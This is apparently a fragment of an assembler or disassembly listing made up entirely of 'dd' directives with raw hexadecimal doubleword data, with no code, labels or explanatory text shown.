		dd 62AE38C3h, 99B9A0C4h, 0A90331DAh, 0BEEE9051h, 85BD1E08h
		dd 0B4611300h, 4DBE75h,	4454DB77h, 5134C01Bh, 44A33F28h
		dd 5C07B900h, 6A46CCC7h, 0C38820F2h, 0D63171Dh,	2D3924C6h
		dd 50CA0130h, 0C285AB72h, 70BE203Ch, 10AE4630h,	83F81Bh
		dd 45DF0311h, 6167AF15h, 0DCCF5700h, 0F4BB20Bh,	0F58D00C1h
		dd 6B329DF6h, 1D01E82Fh, 12A00DF2h, 46C4C3F4h, 0C1CB01DEh
		dd 2FD7D8BFh, 0ED87CC5Ch, 0F51E7B0Eh, 862B81BDh, 48D0429Ah
		dd 11FF63Ah, 0C3A885AAh, 0D424DAE3h, 0BA306BB0h, 0A5FE180Ah
		dd 0D46D0368h, 0E24EAF23h, 0D79D42C0h, 721803F0h, 7B282AAEh
		dd 9609303Ch, 0B7F60261h
		dd 74A6300Eh, 33AEFFBh,	98859EABh, 642192Ch, 0A687471Bh
		dd 609530A4h, 503A0128h, 78BE14E6h, 424C000Ah, 0B5CCCD87h
		dd 78C08862h, 0A77C7DFBh, 1CD1D0EEh, 19F443C6h,	0C0CDC630h
		dd 32C23C0Ch, 0B598D623h, 610BB010h, 66F8E942h,	5C21A182h
		dd 50175951h, 0A4CFA3A0h, 1D9F938h, 7DF3234Eh, 208028C2h
		dd 3DC7EB7Bh, 0FF1D2B0Ch, 0AF16C63Ah, 0C1626A0Fh, 0DC426332h
		dd 4FF3B180h, 0A70633E1h, 0B7A00B07h, 4540ABCCh, 0C620B0C8h
		dd 31834251h, 8259B73Ch, 7CBEB1A8h, 0CC19C1A4h,	0C1B8CBF0h
		dd 60C5C886h, 3D78886Bh, 69E0002Ch, 0F2ACD7D0h,	7778BE14h
		dd 0F87211A0h, 6FBDFE05h, 6E98003Dh, 0E0508EAh,	6A3CE000h
		dd 240AB89Dh, 7C454C56h, 7CC68A03h, 7905B5A6h, 0AAB36A01h
		dd 81582408h, 41F84CDBh, 43B9C389h, 38C19393h, 442E1B00h
		dd 15C770h, 9446E6B4h, 0D866606Ch, 4E267A03h, 0EB06CB56h
		dd 7459F845h, 0D44414AAh, 0BE06C04Ah, 189A41EEh, 59879130h
		dd 0A11EAAFh, 672E0AA0h, 0F3D300D8h, 74B3A1A9h,	3E2BA300h
		dd 75D2FDC5h, 43C240Eh,	67A6425Ch, 0AAB8ECA0h, 0D200C66Ah
		dd 3C0D8B9Dh, 1F73A729h, 0E33893h, 25745E0Ch, 6B0364FAh
		dd 6EAB470h, 0FBA2E049h, 0A7C60288h, 3AC2BA9Dh,	6382DCA0h
		dd 6D00A5FCh, 53DF85EFh, 75D70C15h, 434717A7h, 0FC600CAAh
		dd 0F6308DC0h, 712A390Dh, 3C68496Eh, 4A001622h,	3C4313ABh
		dd 3B743B7Bh, 0D88083BAh, 0FFAB6B3h, 7E09E8FEh,	11BCE6Ah
		dd 0B0D9C270h, 0F960D440h, 5BD338A5h, 8EFB0378h, 0CADA541Bh
		dd 4D82E3A8h, 253FAB00h, 0AC61FC53h, 7121E35h, 0D1E540D4h
		dd 4A63B0F0h, 0CC305960h, 0C0FB832Dh, 68A7A28h,	660747D4h
		dd 0D063DBC0h, 310381E0h, 40C360BDh, 56267205h,	60581D3Ah
		dd 247BB410h, 71D103EFh, 6A5501F1h, 21BF0830h, 247315h
		dd 188AE1B3h, 8E3A9E14h, 83CE70C3h, 0C7980005h,	0F0B11121h
		dd 0F200E0BAh, 8A58D7A9h, 1D7AAD59h, 465B4419h,	89BA2FA1h
		dd 7B503E00h, 0A58E8C3Dh, 8069001Dh, 0C3ED4E74h, 560087B6h
		dd 0D5B02D78h, 664CA7Eh, 71AF8E15h, 0E80CC04Ah,	0D80F9933h
		dd 3AE500D2h, 32EE4312h, 0A400FA39h, 0D4BF892Eh, 0A932490h
		dd 47CCFCD3h, 0C0AF1DB3h, 0BC11AA0Dh, 50ECE7D7h, 57A15D00h
		dd 33216A7Ah, 79DE034Eh, 2F7C1615h, 0D2A2CCC0h,	3A87AD0Bh
		dd 32778005h, 0A54209Ch, 771775DFh, 0E21E07A7h,	40DAE7D6h
		dd 64E47B42h, 90713301h, 7414B1C2h, 0E686D0h, 7DD3B2DDh
		dd 85644CA7h, 0FA193007h, 4310ACFEh, 10DBB4h, 0F9403DC4h
		dd 0DADF0DC3h, 175B9B00h, 0DB7887F0h, 8886377h,	2001C440h
		dd 125B943Ah, 96D46003h, 36A81337h, 4FAB00A7h, 80513150h
		dd 28566800h, 99FAC516h, 0C0DF74B4h, 2943F60h, 7E2EA12Dh
		dd 8E0E14E8h, 21D68DE7h, 0E029DE4h, 0BED50791h,	39B1CA00h
		dd 5B00A456h, 26DBB9F5h, 0C8DF0CA7h, 0E1C007B8h, 46F01158h
		dd 4122B7h, 6B5B998Ch, 0A8D0A7C7h, 9807B701h, 1627D8B0h
		dd 46B05046h, 283029Ch,	3166A130h, 9C6410D0h, 0D6D50302h
		dd 0B94F0834h, 97D74F0h, 0A7B84673h, 5C6EE00h, 323C8879h
		dd 59AB3BF3h, 0AE71FB80h, 0C293090Ch, 0E3FAA0C0h, 3949F2Fh
		dd 4E04E750h, 830D749h,	68921DBh, 3513009Fh, 0DE5D67F3h
		dd 4918FD5Fh, 80B1154Eh, 0C61728BCh, 5CF90C94h,	4F80282Ch
		dd 642F530Fh, 1EFAC0DAh, 0A04518C8h, 1BAA6D0h, 1295672Bh
		dd 40D62E22h, 0A4EA72BBh, 0E30EAB00h, 0DF79A6F4h, 61C90005h
		dd 0EF5C4B2Ch, 0E13E5E9Dh, 6B91001Ah, 88E3C013h, 830E5023h
		dd 1370012h, 538C6C7Bh,	8601B47Ah, 0B18DE0B8h, 11DCA083h
		dd 17820168h, 8C765D19h, 4B37E4DFh, 832F5700h, 0B2E5846Ch
		dd 643A00ABh, 50995DC0h, 81006BFAh, 4F35F6C2h, 0F449D7DFh
		dd 0CD1C0045h, 0D1B330D8h, 0DC0025B5h, 8C935906h, 0DB72F9h
		dd 0D7331380h, 9FBA30AFh, 0E423C11Ch, 39F24C80h, 7477C80Ah
		dd 0F0AD00F9h, 425EA7A8h, 7BE288DBh, 4917AB00h,	3D9635F2h
		dd 14541EFEh, 0B896D2h,	70AFF00Fh, 2B0C5A60h, 20C97A6Eh
		dd 0E09E0F49h, 203417CFh, 60CC4FE3h, 181A1FD6h,	3003B4EAh
		dd 4B98CE88h, 6DAB3501h, 6CC32DEEh, 0C01FE4D0h,	87C6E920h
		dd 9618B5E7h, 0D05894BDh, 0C5A17017h, 866E35C8h, 300A197Ah
		dd 30131FD7h, 4D87CD41h, 0A96C2620h, 9017E730h,	0A71687C5h
		dd 9AD9D72Ch, 8E2AF70Fh, 80482E27h, 576903A8h, 3CCD716Bh
		dd 0C61995B4h, 875B08ACh, 74BF0C21h, 0ED6E00EFh, 18B0202Ch
		dd 999D8E36h, 9F1EECF1h, 3030C683h, 68DD7FD0h, 8A8C00Eh
		dd 0C78FC872h, 0A9795934h, 0E151BFE0h, 0E302A8BCh, 8AC80323h
		dd 82B49640h, 0B8080C66h, 1BD40E21h, 33C04303h,	51081CC2h
		dd 868B5706h, 7160CAC9h, 9C8CA8AEh, 0B0C61BA9h,	52C090C4h
		dd 627D4021h, 4CE3DC06h, 6008F471h, 0DAAD2195h,	50003040h
		dd 0C1215D1h, 167A48Eh,	6C1FC321h, 0DC88AEF2h, 3890E696h
		dd 0F294503h, 10B79095h, 0C05054C8h, 8A27031Ah,	6448C1Ch
		dd 1CBA98C1h, 0CACD9417h, 3894BABDh, 7C992C00h,	0C8889602h
		dd 49653410h, 4030408Ah, 8A23037Eh, 4223C46h, 316D503h
		dd 0F05BDC56h, 3DF3C2Dh, 5391A4A6h, 40D05D77h, 9FFCCBBFh
		dd 0E429C815h, 0B06446C8h, 167CE63h, 0ACF58D15h, 0C082CAF0h
		dd 12EAEEEh, 161A7F54h,	42884130h, 67CB2824h, 0E040801Fh
		dd 0F4CA1CC8h, 0F5C7C4A9h, 8A91809Ah, 37B4C621h, 80720C4Ch
		dd 0F9B0B115h, 6ED0B588h, 2124836h, 6D5468F8h, 35097C44h
		dd 23998E66h, 7CAFB60Ch, 0D908F561h, 78B7A720h,	46020978h
		dd 0E017D7B0h, 0C980EC91h, 0DB327A03h, 0C02E2D02h, 0A031559Bh
		dd 8420C94h, 0FDB31C43h, 759380F3h, 7179E321h, 2365E900h
		dd 0E7614902h, 0B78E004Ah, 7C80C99Eh, 7B0D4C35h, 185C5631h
		dd 0A99D1040h, 76C93F2h, 541E4025h, 20FF62FCh, 5B40DEB1h
		dd 9B517500h, 0B03792C5h, 7B8C0039h, 9830C9F1h,	0CCA9EA83h
		dd 36D8D12Bh, 6B5A020Ch, 30ACCE78h, 980F3A0h, 0AB6B0042h
		dd 52D2E712h, 0FD0993F9h, 0A02BFA02h, 0B54071CCh, 0AEC42842h
		dd 0A98B24F4h, 5964A1D0h, 390188Ch, 1427CE5Fh, 50A3EC96h
		dd 0B04CA900h, 0CB1D6CADh, 6E61008Fh, 841C316Ah, 10922CC2h
		dd 23EECA0Ch, 4036F0ACh, 751250F1h, 0C00905D5h,	0FE4833CAh
		dd 293600A9h, 98EA4357h, 0F9C9A196h, 0B5A40054h, 0F0ABB8C6h
		dd 55018189h, 932C05F8h, 0E9800E9Bh, 97CEF34h, 76C25528h
		dd 3B8F3429h, 24B25CE9h, 80EF7F61h, 621379F1h, 4AFDE9Eh
		dd 157D7673h, 29B081E2h, 58AC205Fh, 45810344h, 45BC2046h
		dd 2819C492h, 0C098B097h, 0C882E853h, 4890852Dh, 1607A826h
		dd 8929C738h, 18410099h, 2603091Dh, 0C89C148Ah,	315C20Bh
		dd 9DFF0096h, 51B83C9h,	4C5728FFh, 0DA088753h, 7D688798h
		dd 62B40A55h, 6702A947h, 0C40847A8h, 9D126780h,	3DF48521h
		dd 6A47D400h, 0A402969Fh, 4C81F288h, 0FBC04CE8h, 6D53F6AFh
		dd 981FF820h, 391946D8h, 355B1277h, 0B0F8F414h,	87CFE8h
		dd 65A7AA23h, 0DC75C94Bh, 6C98DA03h, 0F1EBE1h, 0C1ACA29h
		dd 295F9366h, 179A7300h, 0F0FC33BEh, 0A9E97325h, 0CC181C40h
		dd 35588704h, 0E5326D5Bh, 87C4F720h, 1BE1006Ah,	0BFCF440Eh
		dd 11295FD0h, 8A01B015h, 0CEA30802h, 0A1F665F0h, 4424C080h
		dd 0C31C13A8h, 32B821C8h
		dd 89198F15h, 20725FB9h, 0D81121F0h, 0DD18708Fh, 6B59048Ch
		dd 0CE84CE7Bh, 4106000Ch, 0CAB1E46Bh, 0CEDD00C0h, 0D2269F33h
		dd 8360E677h, 599E31A8h, 14550049h, 0B9DAA5C1h,	2900C33Ch
		dd 0B78FBF62h, 3293E8h,	0EF760156h, 31C84B58h, 39CAA50Fh
		dd 3B66A320h, 0D240066Fh, 588AFE47h, 0C85C9300h, 0ECD0AAEBh
		dd 30A0B857h, 2728A9A6h, 0A03A767Bh, 4D613F17h,	0E87824B8h
		dd 50A36A02h, 1F106132h, 20B1E993h, 9493B9A4h, 88658400h
		dd 0A1D8A55Fh, 9BA300CFh, 199C861Eh, 0C13A444Dh, 60DBBF4Bh
		dd 5FD1CCC0h, 0C0DC5157h, 0E488344Eh, 11F71BC7h, 10805FE7h
		dd 0CCAB78E2h, 0A8295541h, 0DB6CD21Fh, 6380D79Dh, 8242A24Ah
		dd 542A30EFh, 6F5952C9h, 6840900h, 68153C8Bh, 0D88200E4h
		dd 0A72C8872h, 1628317Ch, 0C3008870h, 0BC0B05C5h, 5133F363h
		dd 80CD9C5Fh, 0B1BCB829h, 2711C942h, 2009A93Dh,	9F61CCC3h
		dd 580328Ah, 0FFF947CEh, 0E323B83Eh, 0ED9A3307h, 29CB07D0h
		dd 0CA540566h, 74C9F88h, 60571384h, 5012946Ch, 0CF00F0B1h
		dd 912C6AB2h, 33720056h, 55B9E03Ch, 0C04CF810h,	0EA200D34h
		dd 8EF489B6h, 0C9F0171h, 6DE92953h, 6B402079h, 5987830Ch
		dd 71090CBh, 0E2FE2433h, 7129B0C2h, 0E9078255h,	0D0B9C947h
		dd 0C090A8F0h, 79A40049h, 8E354C64h, 7490A681h,	4022C624h
		dd 98BE8201h, 90504B9Dh, 0FC07717h, 218611E9h, 21DAAE0h
		dd 99F40EF8h, 72D084ABh, 880379B6h, 55340DCBh, 88E5DB6Dh
		dd 51A546Bh, 255B3D2Dh,	782480CDh, 0CE037951h, 46282B95h
		dd 0DCCFBB7Bh, 0EFC82480h, 2A343EBBh, 60003458h, 0E0A83744h
		dd 9748A7F9h, 49900124h, 99C9BB89h, 1B50E4h, 0E2E39225h
		dd 30D6805Ah, 0A5133Ah,	0A983E76Fh, 0B751E5h, 5E04C201h
		dd 888467F8h, 0FDD33D03h, 0C1C9B3E9h, 8BEA92Fh,	0A3719E00h
		dd 0A21E3FF6h, 101F2A00h, 70ACFD5Eh, 0E24F0778h, 0CE6DB943h
		dd 97876B80h, 8D00D9F2h, 4504D854h, 1D1CFD3Bh, 0BCF14717h
		dd 70F8987Eh, 104EA89h,	0D2639E2Dh, 8097A465h, 0EE8CBB70h
		dd 3CE467h, 0A99FDAA3h,	76FDD00Eh, 6175B300h, 9A97BD8Ch
		dd 0D6DC00BEh, 1FB22F36h, 3D004D94h, 4313B826h,	5A5E77h
		dd 0C6EF33D5h, 9038B158h, 3285BB06h, 168BA23h, 520E4613h
		dd 0F4EDD27Dh, 0E70065A6h, 84C0DD0Fh, 39F7F1Bh,	0E0897761h
		dd 0CDA176D1h, 0DE2080E6h, 8091B8Bh, 859900CCh,	430D3205h
		dd 753CC49Fh, 0B5ED9EBCh, 4BF66980h, 0E760DDh, 8FD75635h
		dd 10B05F78h, 7C620200h, 4A494132h, 98193B18h, 9ACDC200h
		dd 7E58BB44h, 0A091F803h, 6499170Ah, 6186A878h,	9FC01B89h
		dd 29448C79h, 289C5CDBh, 6A19A309h, 18B71B00h, 341EAC0Ah
		dd 0E7D9AAA1h, 51837560h, 8B8DC4B1h, 0D524C000h, 8636FB18h
		dd 59E330B8h, 0DEA0F6C8h, 0FE5AD0C0h, 80E2F8h, 0A3881575h
		dd 4A3446A6h, 9EF04200h, 0E22120B8h, 15051D94h,	84D580FBh
		dd 3686374Ch, 6AA3ED00h, 6EDE4166h, 58BA19C3h, 1888E015h
		dd 7E1B08B3h, 2EC4699Fh, 1B9E405Ch, 6EBF5AAEh, 0ADE4F500h
		dd 9D61235Fh, 0C08A7432h, 5A87BD48h, 0C5060591h, 0D53C5771h
		dd 0C8596008h, 5AEE470Fh, 19324500h, 0B22707C0h, 480E6481h
		dd 5A28609Eh, 0ED052392h, 7C004211h, 0FC795AF7h, 0A403CB81h
		dd 334E726Ah, 0E0410183h, 0DD6E82C8h, 8920E4F6h, 0C5C01605h
		dd 0F8001DBAh, 72183E02h, 576606B7h, 386794D7h,	0C08988C8h
		dd 5955A83h, 5522E546h,	5AEA7B01h, 3EDE31DFh, 50E4E530h
		dd 1860989Bh, 7492C656h, 0A00C0A58h, 59880240h,	857C005Bh
		dd 0D0E13494h, 0E418AE01h, 61382AE8h, 0B80B182Bh, 95474999h
		dd 0C081CB00h, 6E646A86h, 7308C697h, 0D900202Bh, 3152CB8Ch
		dd 130D7BE9h, 38F8B88h,	36BD99C5h, 0E70059A6h, 5684FAAh
		dd 3195AB3h, 0E9DE85AFh, 21035BF5h, 0B259022Fh,	9B44A021h
		dd 84A6AAAh, 714AACh, 5222D59h,	3B04990Ch, 56589A86h, 5588048Eh
		dd 666F95C0h, 87340F5h,	0B1A2DA00h, 36339B82h, 0DEB33011h
		dd 64C5F7B9h, 1F7FDB5Ch, 848076A2h, 0BE2D3EEDh,	3D9C9095h
		dd 58B2C210h, 0B493E718h, 248C9876h, 14945A82h,	56884C3Dh
		dd 5AE94A80h, 98336B2h,	1F2FBFDEh, 0C37F9027h, 6011422Eh
		dd 7EAE37h, 5C231C4Dh, 7D826DC5h, 77D65200h, 0B8EA7563h
		dd 864E0033h, 0BCB2DC0Fh, 40C2402Eh, 4837A68Ah,	9160ACh
		dd 7097941Ch, 0A741BF7Ch, 0B500EAB0h, 0B3130ABEh, 6030FDA4h
		dd 0C3EEF1B8h, 89008601h, 60CDDC61h, 488AD628h,	12076C0Bh
		dd 60025975h, 0C57FEC10h, 57AEE400h, 0DDEBCB44h, 0C2FB3036h
		dd 0A6D4BC40h, 0E4EE59DFh, 0FA55E006h, 17EA0320h, 8EDDC0F0h
		dd 260809Ch, 2B247F82h,	83C04C6Dh, 46C02FCBh, 175C2296h
		dd 0CB9B27h, 0F74C54F8h, 3013418Fh, 4C004A68h, 2EDE5AB2h
		dd 90D66038h, 414C23Fh,	5468BC03h, 0E93E19A9h, 0D8831EE2h
		dd 7E789EC6h, 0B6FB1809h, 0C9424DEh, 82CB9260h,	6BFEC010h
		dd 2E805DC8h, 5B04CB8Ah, 4C323C08h, 0EDF869E0h,	20847B79h
		dd 0FC8B7D50h, 1A6923h,	0C08CCB94h, 4486696Eh, 8B2ED85Fh
		dd 9E0349CBh, 0DA56D1C8h, 32184889h, 5C683194h,	31E5E460h
		dd 3AB00512h, 7532354h,	20C3868Eh, 0C2542A2Bh, 51B2C530h
		dd 6038AEDEh, 0EE40687Bh, 0BB440AEDh, 4AC518E4h, 0A1322836h
		dd 2F26E200h, 98C6FDA5h, 4D700A4h, 40A8E915h, 57077252h
		dd 0D8817ECEh, 0ED0A6180h, 15C00B8h, 949063A6h,	9C008F1Ch
		dd 69792B0Bh, 7F109254h, 8D5C0762h, 60E9B957h, 6CA0C633h
		dd 1266DE1Eh, 0D6ED8FFFh, 5C13A0C1h, 1051B53h, 0C83B5F6Dh
		dd 0D02BF315h, 271CF7FFh, 0E300DC29h, 8DF43E01h, 0AF3900C5h
		dd 0E4DE0D80h, 0AD078241h, 0A9FDB72Dh, 0F8165250h, 5FE300D1h
		dd 15A09FB6h, 9E0377F9h, 699065DFh, 5BE4B0C4h, 66970EA6h
		dd 0BD6E2Fh, 0DEBE0918h, 0FF008FAFh, 0C605D0D8h, 0F80A04DDh
		dd 27310F06h, 0A301DEA8h, 8019B7BDh, 0E216B831h, 0D85249h
		dd 0E5A0B52Bh, 0A3ADF239h, 0F36A9E00h, 0F0C98441h, 13AC0090h
		dd 75B58FC1h, 0C00D99Fh, 67B4AD79h, 6C0D31h, 45A09516h
		dd 8E19D527h, 558014A5h, 6B201C4h, 53DA108Ch, 1485F08Dh
		dd 15531CBAh, 0E45FC05Dh, 0A9222975h, 1903D300h, 62598F20h
		dd 0D22408CDh, 0C9D91618h, 148C05C0h, 74EFE971h, 53CA34E0h
		dd 33143000h, 7561A5B1h, 0B31E00BBh, 72661056h,	7E29BA77h
		dd 0D1C03442h, 1AACA6E8h, 705EB29Ah, 8D622030h,	0C25A141Eh
		dd 0B5443C14h, 6D080400h, 3A472B24h, 0CE8ACFFAh, 0E0BDC1h
		dd 0CCC411B3h, 86001D01h, 961F4167h, 910F4Bh, 0A9350DF5h
		dd 2FE9A1A0h, 7F012B79h, 0B64C24C2h, 0C21D597h,	3E6553E4h
		dd 0D310C1C6h, 0D841ED2h, 22B3E40Eh, 4330820Ah,	2870031Ch
		dd 11CE15A8h, 562A1100h, 34A2A9E1h, 8B300EC2h, 138CC1FCh
		dd 5500C521h, 667F86E1h, 24B33E5Ah, 8B44AEF3h, 0BA80CCABh
		dd 3921B5C2h, 0A90F0C00h, 8089858Bh, 18ADEE47h,	0A8CED79Fh
		dd 4318CF5Eh, 769050AAh, 36A2FE48h, 9810BC1Fh, 78630E46h
		dd 9044A1FCh, 0CA88444Ch, 0DA9D0098h, 0B15686BDh, 48C1AC5Bh
		dd 361F2C6Dh, 638A420h,	20F03F06h, 0FE0EB003h, 205750ABh
		dd 0BFA128FAh, 0C708CCF3h, 817F13D1h, 5C9C7805h, 0A7805125h
		dd 0C1CA6B8Eh, 9DE70C0h, 80DBEDFFh, 6C9DD310h, 78395Dh
		dd 63B8261h
		dd 8AC8F907h, 0A5961903h, 98C789EEh, 2E6E1A3h, 48499B76h
		dd 7A60CB81h, 8D0008A6h, 0ECFD999Eh, 3548F65h, 0E6D7BAD3h
		dd 0D4035559h, 7EA292F2h, 7D102957h, 7DCA5F04h,	986014h
		dd 0DCF1CF9Dh, 0E8BED7BFh, 958B3D2Bh, 44D8E300h, 9720FDEh
		dd 0CC9D580Ch, 444A29F4h, 0C9441CDBh, 0A54D4453h, 0E906E644h
		dd 10CD4C11h, 8008F867h, 0AC8BFB12h, 48BCF523h,	3F76410Bh
		dd 200E02DBh, 32158F1Fh, 41F78600h, 73A02AF3h, 0CC3A0080h
		dd 97CEE50Fh, 0BF1EB438h, 0D70083EEh, 0BA94BC2Eh, 0F163009Eh
		dd 0D7FEB7Ch, 5E05EA3Eh, 70FC295Fh, 34C83B80h, 0CB260987h
		dd 9B80BB2Ch, 531950ECh, 378A4000h, 0B485D899h,	0AD83004Dh
		dd 88FC17F3h, 0ED7563A0h, 5408AE00h, 0E43BCB20h, 0B4060190h
		dd 41175B1Bh, 2D1180CFh, 546F9B73h, 897000E9h, 16584A1Fh
		dd 600DC48h, 0FB8AA288h, 1B6293Fh, 0BEBA6B7Ah, 0C86057A8h
		dd 503C6FB0h, 0DF180D4h, 2BA34224h, 4FA0009Dh, 0C6B03044h
		dd 0F4A38670h, 0FF3DD398h, 0E9EAAA03h, 986F2E8Dh, 30DEA006h
		dd 91108F78h, 8201E7F8h, 0A7901FC8h, 1230843Eh,	0D98007Dh
		dd 74E9300Bh, 1D0F7EA3h, 0B4A9E4DBh, 0D74B00A0h, 0C7254041h
		dd 74F400CDh, 280B0981h, 87009C91h, 41E682D3h, 3A6BB486h
		dd 0D0804377h, 0F957B2ACh, 0C7004758h, 9E546261h, 3497696h
		dd 4FAAF2B0h, 498636FEh, 295CAB30h, 174BA59h, 4910CE38h
		dd 0DCEE5F8Eh, 0C83E7264h, 0B96A8B8Ch, 0A8330169h, 91E84DD3h
		dd 0E08007F0h, 0D3BFF1DCh, 0ACB4682h, 8D4E15C8h, 73372C00h
		dd 353DB407h, 63AD004Dh, 574C4D6h, 0CC0EF9E8h, 4050DEA7h
		dd 0F7BF7352h, 4826005Bh, 202D03BAh, 5F3EC899h,	0D57C878Dh
		dd 5B0BB7Ah, 9C4F38h, 0A097E3FCh, 0B98C5D6Dh, 0AC7DB000h
		dd 0A6246971h, 0E8FB0739h, 0E31CC0C3h, 0CA87372h, 0D0009EDDh
		dd 8DA72FDBh, 255584h, 0D3F2EA4Ah, 25F165Bh, 0E431103h
		dd 0A875061Fh, 900D1251h, 0B2A30072h, 8421AE4Fh, 9E4C881Ah
		dd 34EB0EC6h, 626360D3h, 8238D8h, 4FCCAA90h, 7B5B8E85h
		dd 970E23ECh, 80F51D78h, 0DB1BB5ECh, 8EAE12A6h,	59100090h
		dd 982C22B9h, 0A0FCE000h, 0B8E9FB5Eh, 7DAC00F5h, 1342B7B2h
		dd 30FEC54Ch, 90290300h, 0D2507CB3h, 0F41C0EA7h, 56E0E697h
		dd 7F1F8FA0h, 926D5E3Ch, 38071D35h, 8F8819Dh, 0C5810F09h
		dd 0AACBCF5Dh, 0AB63E4h, 81F64FB5h, 39EFD7B7h, 0CDEBE907h
		dd 9020AF3Dh, 3E1144Ah,	0E0185DFEh, 0ACA0AB62h,	8F00FC2Dh
		dd 9F5CEE4Bh, 5AB5C5h, 0D3338D19h, 0F986F12Eh, 96D4100h
		dd 0F5D2D0D6h, 257D07AFh, 0D068D10Ch, 0B7C84AADh, 6F29B500h
		dd 205364C1h, 7C7F16A6h, 7D340055h, 0E83841BFh,	4E307900h
		dd 0FB43C9E0h, 0FEFAFDh, 0F7490D3Fh, 0F5BA19F6h, 721CD3Ah
		dd 459375CCh, 8015A6h, 7E486134h, 0A1241FE5h, 9C21C312h
		dd 9F2FC003h, 9815B306h, 0FB4033h, 8BAFE1EEh, 5F63FF9Dh
		dd 492E2500h, 0D67D9FCFh, 26E00167h, 0D28D0B04h, 685CCC20h
		dd 5A4E7C00h, 0ADB91BCDh, 3D709872h, 27009AB8h,	0A4FC262Dh
		dd 3C984E18h, 0BD432101h, 0E77CD207h, 0A7848032h, 0D6F28371h
		dd 0FCCFB798h, 7A00C490h, 0DD2AA591h, 51CBB1h, 0D133F95Dh
		dd 0BAB4087Fh, 72C89D3Fh, 56106063h, 0D3C1ABACh, 0A3CEA965h
		dd 9555434h, 0B8F83DB5h, 3360940Fh, 0A8D9365Eh,	50E7A25Ch
		dd 27005660h, 0D0AC5C9Eh, 0CD8896h, 751353D6h, 576F2B66h
		dd 4C2AF600h, 0FB7DAE0Ch, 68E83ACBh, 50F0F880h,	69B7609Eh
		dd 3BD47C52h, 37FF80DEh, 88A432C4h, 1CE700F2h, 0CAA5D55Fh
		dd 7F002079h, 34D24D29h, 6358DBh, 2BBF5E49h, 550A7C7Ah
		dd 0AA045200h, 0C27B0B44h, 1F0609F8h, 2D011EFFh, 0D4AF84BDh
		dd 4E008751h, 92726D40h, 38B14CEBh, 7C80F3FCh, 3891C218h
		dd 54006A8Dh, 0A5CC398Ah, 0E13717h, 0C57914B1h,	6B3E3F9Ah
		dd 93FF20C0h, 3C1C36C0h, 1775EF1h, 47B33761h, 0C387120Dh
		dd 0C620D087h, 0B49858D4h, 6838FA06h, 40E5F4h, 45EDD9ACh
		dd 40DB010Dh, 4731D200h, 0AB217196h, 4CF60095h,	0DC7C57F2h
		dd 2D002920h, 5A80BA22h, 307974Dh, 353098C7h, 0EE9842FAh
		dd 0F0E6C117h, 4D04027Dh, 0B133D72h, 7AC068C0h,	0F49500A7h
		dd 9A89AEEh, 5A010368h,	4FD7908Ch, 3080D970h, 898004C0h
		dd 0FF9014D8h, 0D107667Ch, 8384B8Dh, 1D60A690h,	87E50E95h
		dd 0FD4021EAh, 39F1A9D0h, 0C98D9200h, 451284F5h, 0EF220024h
		dd 31FBE8D1h, 72006746h, 9CE6E5B6h, 0F1E86B8h, 56A9B573h
		dd 5E996360h, 0EF019AE7h, 0F268BE12h, 55D0E045h, 9E9C0056h
		dd 0EB646F92h, 0A3005A2Dh, 5C5E420h, 0EE279C7h,	0EF8A7551h
		dd 59D0C9A0h, 340078E0h, 0B0C415A1h, 8C1988h, 0E10B777Ch
		dd 8EDA3EE7h, 0EBF5F71Dh, 0DFA26980h, 24342CB3h, 0F4BFCEh
		dd 81714363h, 5CBADA29h, 0A33D8200h, 386A119Fh,	19790F03h
		dd 4940F35Eh, 12EC7BDDh, 0E91EF600h, 18913CAFh,	0A21B00A4h
		dd 4D6F3A87h, 9E025F68h, 0B68E9CA0h, 25E44127h,	0B8D8ECC8h
		dd 73B50912h, 0BC027801h, 78C003A4h, 0F034C6Ah,	81C24E32h
		dd 0C0CCE1h, 6D59FFh, 65722D7Ch, 67F12BD1h, 0B10B39B8h
		dd 1CAEF0Ah, 50645E80h,	0B52230h, 31A2BC1Fh, 8F91B96Fh
		dd 0A68A2800h, 0E7C5EA3Bh, 60C300FDh, 0FB0F1DFEh, 0ED006514h
		dd 0C7FABE03h, 0B8D4F35Bh, 0EEBB909Dh, 340613E1h, 4E1A1F6Fh
		dd 0E925D967h, 9AAC0024h, 8137AB2Bh, 25473200h,	0EF78CDB9h
		dd 578C003Fh, 18A29BD8h, 30E8F36h, 40DD3C44h, 0AF527281h
		dd 69B800FFh, 38A86761h, 0C100E314h, 6ABFC358h,	504136h
		dd 0C63451DFh, 0B290AA7h, 87392B00h, 2031EE96h,	485D7419h
		dd 0D301A8FEh, 2CE15C1Dh, 8C82E44Ch, 15E84400h,	0CBFFF7D8h
		dd 0C6DB0103h, 9D888339h, 8A52DCB2h, 0F3EFED00h, 35380A60h
		dd 1E0D1EFEh, 0C8F2C057h, 0FA527B93h, 0A178139h, 0D476E27Dh
		dd 71BE803Eh, 0BC982E51h, 0CDE900EFh, 42B99F2Dh, 39754B27h
		dd 0F7795900h, 105F9D50h, 0AA4E0E1Ch, 44A03F35h, 481AB105h
		dd 559D658h, 0A1A0A303h, 0C8A5D40Fh, 0B0C8604Ch, 0C5902EB7h
		dd 0A43D0101h, 89F68824h, 0B264470h, 4A2734D4h,	0D68FCC00h
		dd 0E50BF1E8h, 808D8C9Bh, 730A89D4h, 1FCA18D1h,	3B129B4h
		dd 0E2F75703h, 32B9242h, 180BB278h, 81C05153h, 0BC001AC4h
		dd 97D06B0Ah, 1CFFE079h, 0C0F2B97Ch, 0DC8295ADh, 427F8F8Dh
		dd 1C23D600h, 0F081E147h, 0FD4007BBh, 7FB092A3h, 0DE3CEE67h
		dd 340F9CD5h, 0BA8F52F3h, 0F1A33F60h, 81F26F71h, 0DCA49554h
		dd 599E3A00h, 5C3983F5h, 3C300BF8h, 96005BAEh, 0AB4D1D13h
		dd 1ADE2201h, 0A3CBDB26h, 0BEC9C080h, 97CF08B8h, 4CB63800h
		dd 0EC836810h, 55D400F0h, 0BC60628Dh, 5B399F69h, 806A0E11h
		dd 52656074h, 1C3865Dh,	0B4491E27h, 302C9AF2h, 4100D0F7h
		dd 0CDC40C26h, 36A0F2Ah, 0E023DA28h, 0AFA8B24Bh, 0C50092AEh
		dd 2409970Ah, 0A0D57408h, 1978C8D2h, 0F872DCA6h, 0ECE8FAA1h
		dd 75606DE9h, 0CF0619CCh, 0C0B7606Bh, 0DEFDFF9Ch, 0FE45F503h
		dd 0D01B232Fh, 3A017087h, 1F07265h, 0B25667A0h,	0FACBE9B1h
		dd 0D3D75D60h, 2E3CBB00h, 8A5A27C5h, 4D7491h, 0A41EDAFBh
		dd 5D1BA667h, 0CB8D0D00h, 0CEFEAB4Ah, 8FE7009Eh, 10B6FFD0h
